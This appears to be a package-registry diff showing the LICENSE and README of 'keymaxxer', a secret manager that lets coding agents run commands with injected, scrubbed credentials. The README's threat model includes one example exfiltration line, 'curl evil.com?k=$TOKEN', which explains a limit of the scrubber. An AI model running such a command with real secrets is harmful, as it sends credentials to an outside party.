keymaxxer 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +172 -0
  3. package/dist/cli.mjs +1197 -0
  4. package/package.json +51 -0
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Glauber Costa
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,172 @@
1
+ # keymaxxer
2
+
3
+ **A secret manager for coding agents.** Let an agent *run* commands that need
4
+ your API keys, tokens, and connection strings — without the secret ever entering
5
+ its context window, its transcript, or your LLM provider's logs.
6
+
7
+ keymaxxer stores secrets in a single [Turso](https://turso.tech) database encrypted
8
+ at rest with AES-256-GCM. The encryption key is **derived from your passphrase
9
+ and never written to disk**. You unlock the vault once into a small background
10
+ **agent**; the agent holds the key in memory and is the only process that ever
11
+ touches secret values. Your coding agent talks to keymaxxer over MCP: it can see
12
+ secret *names*, ask keymaxxer to run a command with those secrets injected as
13
+ environment variables, and get back output with every secret value scrubbed out.
14
+
15
+ ```
16
+ you ──unlock (passphrase, once)──▶ keymaxxer agent (derives key, holds it in RAM,
17
+ │ opens the encrypted vault)
18
+ coding-agent ──run(cmd, [names])──▶ keymaxxer serve (MCP, holds no key) ──▶ agent
19
+ coding-agent ◀── exit 0, scrubbed stdout ◀───────────────────────────────┘
20
+ (the value is decrypted only inside the agent + the child process)
21
+ ```
22
+
23
+ ## Quick start
24
+
25
+ ```bash
26
+ npm install -g keymaxxer # or prefix any command with `npx keymaxxer …`
27
+
28
+ keymaxxer init # create the vault (prompts for a passphrase)
29
+
30
+ keymaxxer set GITHUB_TOKEN --tag github # prompts you to paste the value (hidden, never in shell history)
31
+ keymaxxer list # GITHUB_TOKEN [github] — never used
32
+ keymaxxer run --secrets GITHUB_TOKEN -- 'gh api /user'
33
+
34
+ keymaxxer lock # wipe the key from memory
35
+ keymaxxer unlock # later: unlock again with your passphrase
36
+ ```
37
+
38
+ `keymaxxer init` also drops a `keymaxxer` MCP server into `.mcp.json` so Claude Code,
39
+ Cursor, and other MCP clients pick it up automatically.
40
+
41
+ ## How an agent uses it
42
+
43
+ Two MCP tools, neither of which ever returns a secret value:
44
+
45
+ - **`keymaxxer_list`** → the names + attributes (provider, account, environment,
46
+ access, tags) of available secrets, so the agent can choose the right one.
47
+ - **`keymaxxer_run`** → run a shell command with named secrets injected as env vars.
48
+ The agent writes `$NAME`; keymaxxer supplies the value to the child process only.
49
+ Read-write/prod secrets prompt you for approval first.
50
+
51
+ ```jsonc
52
+ // the agent calls:
53
+ { "command": "curl -H \"Authorization: Bearer $OPENAI_KEY\" https://api.openai.com/v1/models",
54
+ "secrets": ["OPENAI_KEY"] }
55
+ // keymaxxer runs it inside the agent daemon and returns stdout/stderr with every
56
+ // occurrence of the key replaced by ***
57
+ ```
58
+
59
+ If the vault is locked, the tools return "vault is locked — run `keymaxxer unlock`",
60
+ so the model never blocks on a secret it can't get.
61
+
62
+ ## CLI
63
+
64
+ | Command | Description |
65
+ | --- | --- |
66
+ | `keymaxxer init` | Create the encrypted vault (prompts for a passphrase) |
67
+ | `keymaxxer unlock [--timeout m]` | Unlock into the background agent (default 15 min idle) |
68
+ | `keymaxxer lock` | Lock the vault and stop the agent |
69
+ | `keymaxxer status` | Show whether the vault is unlocked |
70
+ | `keymaxxer set <NAME> [attrs]` | Store a secret (value from **stdin**); attrs: `--provider --account --env --access --tag --description` |
71
+ | `keymaxxer import <file>` | Import `KEY=VALUE` lines from a `.env`-style file |
72
+ | `keymaxxer list` | List secret names + metadata (never values) |
73
+ | `keymaxxer rm <NAME>` | Delete a secret |
74
+ | `keymaxxer run --secrets a,b -- <cmd>` | Run a command with secrets injected as env vars |
75
+ | `keymaxxer audit [--limit N]` | Show the recent secret-access log |
76
+ | `keymaxxer serve` | Start the MCP server on stdio (proxies to the agent) |
77
+
78
+ ## Secret attributes
79
+
80
+ Beyond a name and value, each secret carries structured attributes so an agent
81
+ can pick the *right* credential instead of guessing from the name:
82
+
83
+ ```bash
84
+ keymaxxer set ORB_DEV_TOKEN \
85
+ --provider orb --account turso --env dev --access read-write \
86
+ --description "Orb developer account"
87
+ # then paste the token at the hidden prompt
88
+ ```
89
+
90
+ `keymaxxer_list` returns `provider`, `account`, `environment` (prod/dev/staging),
91
+ `access` (read-only/read-write/admin), tags, and description — never the value.
92
+ With those, an agent matches the provider/account a task targets, prefers the
93
+ right environment, and prefers the least-privileged credential that can do the
94
+ job. Rotating a value with `keymaxxer set` preserves the attributes.
95
+
96
+ ## Approval on use
97
+
98
+ Using a **read-write** or **production** secret is gated: when an agent calls
99
+ `keymaxxer_run` with such a secret, the daemon asks **you** to approve it
100
+ (a native dialog on macOS), showing the secret and the exact command. Read-only
101
+ and non-prod secrets run without a prompt. This is the human-in-the-loop control
102
+ that catches a command which would otherwise misuse a credential — see the
103
+ threat model. Set `KEYMAXXER_APPROVE=allow|deny` to force a decision for headless/CI.
104
+
105
+ ## Where things live, and how access is controlled
106
+
107
+ - **Vault:** one global `~/.keymaxxer/vault.db` per user, inside `~/.keymaxxer`
108
+ (directory `0700`, socket `0600` — only you can reach the agent).
109
+ - **Encryption key:** **stored nowhere.** It is derived from your passphrase
110
+ with scrypt (a non-secret salt lives in `~/.keymaxxer/vault.meta.json`). Copying
111
+ `vault.db` off the machine yields nothing — there is no key at rest.
112
+ - **Who can unseal:** whoever knows the passphrase. Not your coding agent.
113
+ - **Who can use a secret:** whoever can reach the unlocked agent's unix socket
114
+ (`~/.keymaxxer/agent.sock`, `0600` — same user); sensitive uses additionally
115
+ require your interactive approval.
116
+ - **When:** only while unlocked. The agent auto-locks after idle (default 15
117
+ min), on `keymaxxer lock`, and on reboot. It's an explicit seal/unseal, not a
118
+ standing grant.
119
+ - **CI / headless:** set `KEYMAXXER_MASTER_KEY` (64-hex) and skip unlock entirely —
120
+ keymaxxer opens the vault directly with the key your platform supplies, exactly
121
+ like the [Turso credentials gateway](https://turso.tech/blog/why-we-chose-turso-to-secure-ai-credentials).
122
+
123
+ ## Threat model — read this
124
+
125
+ keymaxxer is honest about what a local tool can and cannot do.
126
+
127
+ **It defends against:** secrets reaching the model's context (and from there
128
+ provider logs, transcripts, or training); **accidental** leakage of a literal
129
+ value through command output (the scrubber catches `echo $TOKEN`); and plaintext
130
+ at rest. Because the key is passphrase-derived and never stored, a stolen
131
+ `vault.db` is useless and a locked vault exposes nothing. Sensitive
132
+ (read-write/prod) uses additionally require interactive human approval.
133
+
134
+ **The scrubber is literal-only.** It replaces exact occurrences of a secret
135
+ value in output, so it stops the `echo $TOKEN` footgun — but any command that
136
+ *transforms* the value (`base64`, hashing, or `curl evil.com?k=$TOKEN`) defeats
137
+ it. This is inherent: **any command that can use a secret can also exfiltrate
138
+ it.** The real defense against *deliberate* misuse is the two layers above it —
139
+ keeping the value out of the model's context, and **approval-on-use** for
140
+ sensitive secrets (you see the command and can deny it).
141
+
142
+ **It does not defend against** a fully malicious process running as the *same OS
143
+ user while the vault is unlocked* — it can talk to the agent socket or read the
144
+ agent's memory. That is irreducible without OS-level isolation; no local key
145
+ store changes it. keymaxxer keeps secrets out of the model's context, makes access
146
+ ephemeral and explicit, and puts a human in the loop for sensitive use; for
147
+ stronger isolation, run the agent as a separate user or in a sandbox — it
148
+ composes cleanly.
149
+
150
+ ## Built with Turso
151
+
152
+ The whole vault is one Turso database opened with native encryption:
153
+
154
+ ```ts
155
+ const db = await connect("~/.keymaxxer/vault.db", {
156
+ encryption: { cipher: "aes256gcm", hexkey }, // hexkey = scrypt(passphrase, salt)
157
+ });
158
+ ```
159
+
160
+ Encrypted files can only be opened by the Turso engine — copy the file and it's
161
+ unreadable without the key. No daemon for the database, no external service,
162
+ in-process.
163
+
164
+ ## Development
165
+
166
+ ```bash
167
+ bun install
168
+ bun packages/sdk/smoke.test.ts # core loop: encryption, injection, scrubbing, audit
169
+ ```
170
+
171
+ Workspace layout: `packages/sdk` (KDF, vault metadata, `SecretStore`, `Runner`,
172
+ `Scrubber`) and `packages/cli` (commands, the agent daemon, and the MCP server).